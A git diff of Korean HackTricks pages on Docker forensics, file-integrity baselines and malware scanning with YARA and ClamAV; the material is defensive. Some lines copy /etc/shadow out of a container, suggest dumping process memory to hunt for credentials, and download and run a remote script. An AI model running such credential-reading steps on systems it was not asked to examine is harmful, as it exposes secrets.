|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# 도커 포렌식
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기교를 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 컨테이너 수정
|
||||
|
||||
|
@ -22,7 +23,7 @@ docker ps
|
|||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||||
cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress
|
||||
```
|
||||
이 컨테이너에 대한 이미지와 관련하여 수행된 수정 사항을 쉽게 찾을 수 있습니다. 다음과 같이 하면 됩니다:
|
||||
당신은 쉽게 다음을 사용하여 **이 컨테이너에 대한 이미지와 관련된 수정 사항을 찾을 수 있습니다**:
|
||||
```bash
|
||||
docker diff wordpress
|
||||
C /var
|
||||
|
@ -36,31 +37,31 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI
|
|||
A /var/lib/mysql/mysql/general_log.CSV
|
||||
...
|
||||
```
|
||||
이전 명령어에서 **C**는 **변경됨(Changed)**을 의미하고, **A**는 **추가됨(Added)**을 의미합니다.\
|
||||
만약 `/etc/shadow`와 같은 흥미로운 파일이 수정되었다고 판단된다면, 악성 활동을 확인하기 위해 해당 컨테이너에서 다운로드할 수 있습니다:
|
||||
이전 명령어에서 **C**는 **변경됨**을 의미하고 **A**는 **추가됨**을 의미합니다.\
|
||||
만약 `/etc/shadow`와 같은 흥미로운 파일이 수정되었다면, 악의적인 활동을 확인하기 위해 해당 파일을 컨테이너에서 다운로드할 수 있습니다:
|
||||
```bash
|
||||
docker cp wordpress:/etc/shadow.
|
||||
```
|
||||
새 컨테이너를 실행하고 파일을 추출하여 원본과 비교할 수도 있습니다:
|
||||
당신은 새 컨테이너를 실행하고 그 파일을 추출하여 원본과 비교할 수도 있습니다:
|
||||
```bash
|
||||
docker run -d lamp-wordpress
|
||||
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
|
||||
diff original_shadow shadow
|
||||
```
|
||||
만약 **의심스러운 파일이 추가**되었다는 것을 발견한다면, 컨테이너에 접근하여 확인할 수 있습니다:
|
||||
만약 **의심스러운 파일이 추가된 것을 발견**하면 컨테이너에 액세스하여 확인할 수 있습니다:
|
||||
```bash
|
||||
docker exec -it wordpress bash
|
||||
```
|
||||
## 이미지 수정
|
||||
|
||||
당신에게 내보낸 도커 이미지 (아마도 `.tar` 형식일 것입니다)가 주어지면 [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases)를 사용하여 **수정 내용 요약을 추출**할 수 있습니다:
|
||||
내보낸 도커 이미지(아마도 `.tar` 형식)가 주어지면 [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases)를 사용하여 **수정 사항 요약을 추출**할 수 있습니다:
|
||||
```bash
|
||||
docker save <image> > image.tar #Export the image to a .tar file
|
||||
container-diff analyze -t sizelayer image.tar
|
||||
container-diff analyze -t history image.tar
|
||||
container-diff analyze -t metadata image.tar
|
||||
```
|
||||
그런 다음 이미지를 **압축 해제**하고 **블롭에 액세스**하여 변경 내역에서 발견한 수상한 파일을 검색할 수 있습니다:
|
||||
그럼 이미지를 **압축 해제**하고 **블롭에 액세스**하여 변경 이력에서 발견한 의심스러운 파일을 검색할 수 있습니다:
|
||||
```bash
|
||||
tar -xf image.tar
|
||||
```
|
||||
|
@ -70,18 +71,18 @@ tar -xf image.tar
|
|||
```bash
|
||||
docker inspect <image>
|
||||
```
|
||||
다음과 같이 **변경 내역의 요약**을 얻을 수도 있습니다:
|
||||
요약된 **변경 이력**을 다음과 같이 얻을 수도 있습니다:
|
||||
```bash
|
||||
docker history --no-trunc <image>
|
||||
```
|
||||
이미지에서 **도커파일을 생성**할 수도 있습니다. 다음과 같이 하면 됩니다:
|
||||
이미지에서 **도커파일을 생성**할 수도 있습니다:
|
||||
```bash
|
||||
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
|
||||
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
|
||||
```
|
||||
### Dive
|
||||
### 다이브
|
||||
|
||||
도커 이미지에서 추가/수정된 파일을 찾기 위해 [**dive**](https://github.com/wagoodman/dive)도 사용할 수 있습니다. (다음 [**릴리스**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)에서 다운로드할 수 있습니다.) 유틸리티:
|
||||
도커 이미지에서 추가/수정된 파일을 찾으려면 [**dive**](https://github.com/wagoodman/dive)를 사용할 수도 있습니다 ([**릴리스**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)에서 다운로드).
|
||||
```bash
|
||||
#First you need to load the image in your docker repo
|
||||
sudo docker load < image.tar 1 ⨯
|
||||
|
@ -90,30 +91,31 @@ Loaded image: flask:latest
|
|||
#And then open it with dive:
|
||||
sudo dive flask:latest
|
||||
```
|
||||
이를 통해 도커 이미지의 다른 덩어리를 탐색하고 수정/추가된 파일을 확인할 수 있습니다. **빨간색**은 추가된 것을 의미하고 **노란색**은 수정된 것을 의미합니다. **탭**을 사용하여 다른 뷰로 이동하고 **스페이스바**를 사용하여 폴더를 축소/확장할 수 있습니다.
|
||||
이를 통해 **도커 이미지의 다른 덩어리를 탐색**하고 어떤 파일이 수정/추가되었는지 확인할 수 있습니다. **빨간색**은 추가된 것을 의미하고 **노란색**은 수정된 것을 의미합니다. **탭**을 사용하여 다른 뷰로 이동하고 **스페이스**를 사용하여 폴더를 축소/열기할 수 있습니다.
|
||||
|
||||
die를 사용하면 이미지의 다른 단계의 내용에 액세스할 수 없습니다. 이를 위해 각 레이어를 압축 해제하고 액세스해야 합니다.\
|
||||
이미지가 압축 해제된 디렉토리에서 모든 레이어를 압축 해제할 수 있습니다. 다음을 실행하세요.
|
||||
Die를 사용하면 이미지의 다른 단계의 내용에 액세스할 수 없습니다. 이를 위해 **각 레이어를 압축 해제하고 액세스해야**합니다.\
|
||||
이미지의 모든 레이어를 압축 해제하려면 이미지가 압축 해제된 디렉토리에서 다음을 실행하십시오:
|
||||
```bash
|
||||
tar -xf image.tar
|
||||
for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
|
||||
```
|
||||
## 메모리에서 자격 증명 얻기
|
||||
## 메모리에서 자격 증명
|
||||
|
||||
참고로 호스트 내에서 도커 컨테이너를 실행할 때 **호스트에서 컨테이너에서 실행 중인 프로세스를 볼 수 있습니다**. `ps -ef`를 실행하면 됩니다.
|
||||
호스트 내에서 도커 컨테이너를 실행할 때 **호스트에서 컨테이너에서 실행 중인 프로세스를 볼 수 있습니다**. 단순히 `ps -ef`를 실행하면 됩니다.
|
||||
|
||||
따라서 (루트 권한으로) 호스트에서 **프로세스의 메모리를 덤프**하고 [**다음 예시처럼**](../../linux-hardening/privilege-escalation/#process-memory) **자격 증명을 검색**할 수 있습니다.
|
||||
따라서 (루트로) 호스트에서 **프로세스의 메모리를 덤프**하고 [**다음 예시와 같이**](../../linux-hardening/privilege-escalation/#process-memory) **자격 증명을 검색**할 수 있습니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왑**](https://peass.creator-spring.com)을 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,32 @@
|
|||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# 기준선
|
||||
# Baseline
|
||||
|
||||
기준선은 시스템의 특정 부분의 스냅샷을 찍어 **변경 사항을 강조하기 위해 미래 상태와 비교**하는 것으로 구성됩니다.
|
||||
베이스라인은 시스템의 특정 부분의 스냅샷을 찍어 **미래의 상태와 비교하여 변경 사항을 강조하는 것**으로 구성됩니다.
|
||||
|
||||
예를 들어, 파일 시스템의 각 파일의 해시를 계산하고 저장하여 수정된 파일을 찾을 수 있습니다.\
|
||||
이는 생성된 사용자 계정, 실행 중인 프로세스, 실행 중인 서비스 및 변경되지 않아야 할 다른 모든 것에 대해서도 수행할 수 있습니다.
|
||||
이는 생성된 사용자 계정, 실행 중인 프로세스, 실행 중인 서비스 및 변경되지 않아야 할 다른 모든 것들에 대해서도 수행할 수 있습니다.
|
||||
|
||||
## 파일 무결성 모니터링
|
||||
|
||||
파일 무결성 모니터링(FIM)은 파일의 변경 사항을 추적하여 IT 환경과 데이터를 보호하는 중요한 보안 기술입니다. 다음과 같은 두 가지 주요 단계로 이루어집니다:
|
||||
파일 무결성 모니터링 (FIM)은 파일의 변경 사항을 추적함으로써 IT 환경 및 데이터를 보호하는 중요한 보안 기술입니다. 다음 두 가지 주요 단계로 구성됩니다:
|
||||
|
||||
1. **기준선 비교:** 파일 속성이나 암호화 체크섬(MD5 또는 SHA-2와 같은)을 사용하여 기준선을 설정하여 변경 사항을 감지합니다.
|
||||
2. **실시간 변경 알림:** 일반적으로 OS 커널 확장을 통해 파일에 액세스하거나 변경될 때 즉시 알림을 받습니다.
|
||||
1. **베이스라인 비교:** 파일 속성이나 암호화 체크섬 (예: MD5 또는 SHA-2)을 사용하여 베이스라인을 설정하여 변경 사항을 감지하기 위해 미래 비교에 사용합니다.
|
||||
2. **실시간 변경 알림:** 파일에 액세스되거나 변경될 때 즉시 경고를 받습니다. 일반적으로 OS 커널 확장을 통해 수행됩니다.
|
||||
|
||||
## 도구
|
||||
|
||||
|
@ -37,16 +38,17 @@ HackTricks를 지원하는 다른 방법:
|
|||
* [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# 악성코드 분석
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 **Discord 그룹**에 **가입**하세요(https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 포렌식 치트시트
|
||||
|
||||
|
@ -36,45 +37,21 @@ sudo apt-get install -y yara
|
|||
```
|
||||
#### 규칙 준비
|
||||
|
||||
다음 스크립트를 사용하여 깃허브에서 모든 악성코드 yara 규칙을 다운로드하고 병합하세요: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
|
||||
_**rules**_ 디렉토리를 생성하고 실행하세요. 이렇게 하면 _**malware\_rules.yar**_라는 파일이 생성되며, 이 파일에는 모든 악성코드 yara 규칙이 포함됩니다.
|
||||
이 스크립트를 사용하여 github에서 모든 yara 악성 코드 규칙을 다운로드하고 병합합니다: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
|
||||
_**rules**_ 디렉토리를 생성하고 실행하십시오. 이렇게 하면 _**malware\_rules.yar**_이라는 파일이 생성되며 이 파일에는 악성 코드에 대한 모든 yara 규칙이 포함됩니다.
|
||||
```bash
|
||||
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
|
||||
mkdir rules
|
||||
python malware_yara_rules.py
|
||||
```
|
||||
#### 스캔
|
||||
|
||||
```markdown
|
||||
The first step in malware analysis is to scan the suspicious file or program. This step helps to identify any known malware signatures or indicators of compromise (IOCs). There are several tools and techniques that can be used for scanning, including antivirus software, sandboxing, and static analysis.
|
||||
|
||||
Antivirus software: Use a reliable antivirus software to scan the suspicious file. The antivirus software will compare the file against a database of known malware signatures and detect any matches.
|
||||
|
||||
Sandboxing: Run the suspicious file in a controlled environment called a sandbox. The sandbox isolates the file from the rest of the system, allowing you to observe its behavior without risking the infection of your machine.
|
||||
|
||||
Static analysis: Analyze the file without executing it. This can be done by examining the file's metadata, such as file size, creation date, and file type. Additionally, you can use tools like file format analyzers and hex editors to inspect the file's structure and contents.
|
||||
|
||||
By scanning the suspicious file, you can gather initial information about its potential maliciousness and determine if further analysis is required.
|
||||
```
|
||||
|
||||
```html
|
||||
Malware 분석의 첫 번째 단계는 의심스러운 파일이나 프로그램을 스캔하는 것입니다. 이 단계는 알려진 악성 코드 식별자나 침해 지표(IOCs)를 확인하는 데 도움이 됩니다. 스캔에는 안티바이러스 소프트웨어, 샌드박싱, 정적 분석 등 여러 도구와 기술을 사용할 수 있습니다.
|
||||
|
||||
안티바이러스 소프트웨어: 신뢰할 수 있는 안티바이러스 소프트웨어를 사용하여 의심스러운 파일을 스캔합니다. 안티바이러스 소프트웨어는 알려진 악성 코드 식별자 데이터베이스와 파일을 비교하여 일치하는 항목을 감지합니다.
|
||||
|
||||
샌드박싱: 의심스러운 파일을 샌드박스라는 제어된 환경에서 실행합니다. 샌드박스는 파일을 시스템의 나머지 부분과 격리시켜 시스템 감염의 위험 없이 파일의 동작을 관찰할 수 있게 합니다.
|
||||
|
||||
정적 분석: 파일을 실행하지 않고 분석합니다. 이는 파일의 메타데이터(파일 크기, 생성 날짜, 파일 유형 등)를 조사함으로써 수행될 수 있습니다. 또한 파일 형식 분석 도구와 헥스 에디터와 같은 도구를 사용하여 파일의 구조와 내용을 검사할 수 있습니다.
|
||||
|
||||
의심스러운 파일을 스캔함으로써 잠재적인 악성성에 대한 초기 정보를 수집하고 추가 분석이 필요한지 여부를 결정할 수 있습니다.
|
||||
```
|
||||
```bash
|
||||
yara -w malware_rules.yar image #Scan 1 file
|
||||
yara -w malware_rules.yar folder #Scan the whole folder
|
||||
```
|
||||
#### YaraGen: 악성코드 확인 및 규칙 생성
|
||||
#### YaraGen: 악성 코드 확인 및 규칙 생성
|
||||
|
||||
[**YaraGen**](https://github.com/Neo23x0/yarGen) 도구를 사용하여 이진 파일에서 yara 규칙을 생성할 수 있습니다. 다음 튜토리얼을 확인해보세요: [**파트 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**파트 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**파트 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
|
||||
**YaraGen** 도구(https://github.com/Neo23x0/yarGen)를 사용하여 이진 파일에서 yara 규칙을 생성할 수 있습니다. 다음 자습서를 확인하세요: **Part 1**(https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), **Part 2**(https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), **Part 3**(https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
|
||||
```bash
|
||||
python3 yarGen.py --update
|
||||
python3.exe yarGen.py --excludegood -m ../../mals/
|
||||
|
@ -82,74 +59,10 @@ python3.exe yarGen.py --excludegood -m ../../mals/
|
|||
### ClamAV
|
||||
|
||||
#### 설치
|
||||
|
||||
ClamAV는 오픈 소스 악성 코드 탐지 및 백신 소프트웨어입니다. 다음 명령을 사용하여 ClamAV를 설치할 수 있습니다.
|
||||
|
||||
```bash
|
||||
sudo apt-get install clamav
|
||||
```
|
||||
|
||||
또는
|
||||
|
||||
```bash
|
||||
sudo yum install clamav
|
||||
```
|
||||
|
||||
#### 업데이트
|
||||
|
||||
ClamAV 데이터베이스를 최신 상태로 유지하기 위해 정기적으로 업데이트해야 합니다. 다음 명령을 사용하여 ClamAV 데이터베이스를 업데이트할 수 있습니다.
|
||||
|
||||
```bash
|
||||
sudo freshclam
|
||||
```
|
||||
|
||||
#### 스캔
|
||||
|
||||
ClamAV를 사용하여 시스템을 스캔하려면 다음 명령을 사용합니다.
|
||||
|
||||
```bash
|
||||
clamscan -r /path/to/scan
|
||||
```
|
||||
|
||||
`-r` 옵션은 재귀적으로 디렉토리를 스캔하도록 지정합니다. `/path/to/scan`은 스캔할 디렉토리 또는 파일의 경로입니다.
|
||||
|
||||
#### 결과 분석
|
||||
|
||||
ClamAV 스캔 결과는 악성 코드 또는 의심스러운 파일을 식별합니다. 스캔 결과를 분석하여 악성 파일을 확인할 수 있습니다.
|
||||
|
||||
#### 자동 스캔
|
||||
|
||||
ClamAV를 사용하여 자동으로 시스템을 스캔하려면 cron 작업을 설정해야 합니다. cron 작업을 설정하면 정기적으로 ClamAV가 시스템을 스캔하고 악성 코드를 탐지할 수 있습니다.
|
||||
```
|
||||
sudo apt-get install -y clamav
|
||||
```
|
||||
#### 스캔
|
||||
|
||||
```markdown
|
||||
The first step in malware analysis is to scan the suspicious file or program. This step helps to identify any known malware signatures or indicators of compromise (IOCs). There are several tools and techniques that can be used for scanning, including antivirus software, sandboxing, and static analysis.
|
||||
|
||||
Antivirus software: Use a reliable antivirus software to scan the suspicious file. The antivirus software will compare the file against a database of known malware signatures and detect any matches.
|
||||
|
||||
Sandboxing: Run the suspicious file in a controlled environment called a sandbox. The sandbox isolates the file from the rest of the system, allowing you to observe its behavior without risking the infection of your machine.
|
||||
|
||||
Static analysis: Analyze the file without executing it. This can be done by examining the file's metadata, such as file size, creation date, and file type. Additionally, you can use tools like file format analyzers to identify any suspicious patterns or anomalies in the file's structure.
|
||||
|
||||
It is important to note that scanning alone may not be sufficient to detect all types of malware. Some malware may be designed to evade detection by antivirus software or exhibit behavior that is only triggered under specific conditions. Therefore, additional analysis techniques may be necessary to fully understand and mitigate the threat.
|
||||
```
|
||||
|
||||
```html
|
||||
<h4>스캔</h4>
|
||||
|
||||
<p>악성 코드 분석의 첫 번째 단계는 의심스러운 파일이나 프로그램을 스캔하는 것입니다. 이 단계는 알려진 악성 코드 식별자나 침해 지표를 확인하는 데 도움이 됩니다. 스캔에는 백신 소프트웨어, 샌드박싱, 정적 분석 등 여러 도구와 기술을 사용할 수 있습니다.</p>
|
||||
|
||||
<p>백신 소프트웨어: 신뢰할 수 있는 백신 소프트웨어를 사용하여 의심스러운 파일을 스캔합니다. 백신 소프트웨어는 알려진 악성 코드 식별자 데이터베이스와 파일을 비교하여 일치하는 항목을 감지합니다.</p>
|
||||
|
||||
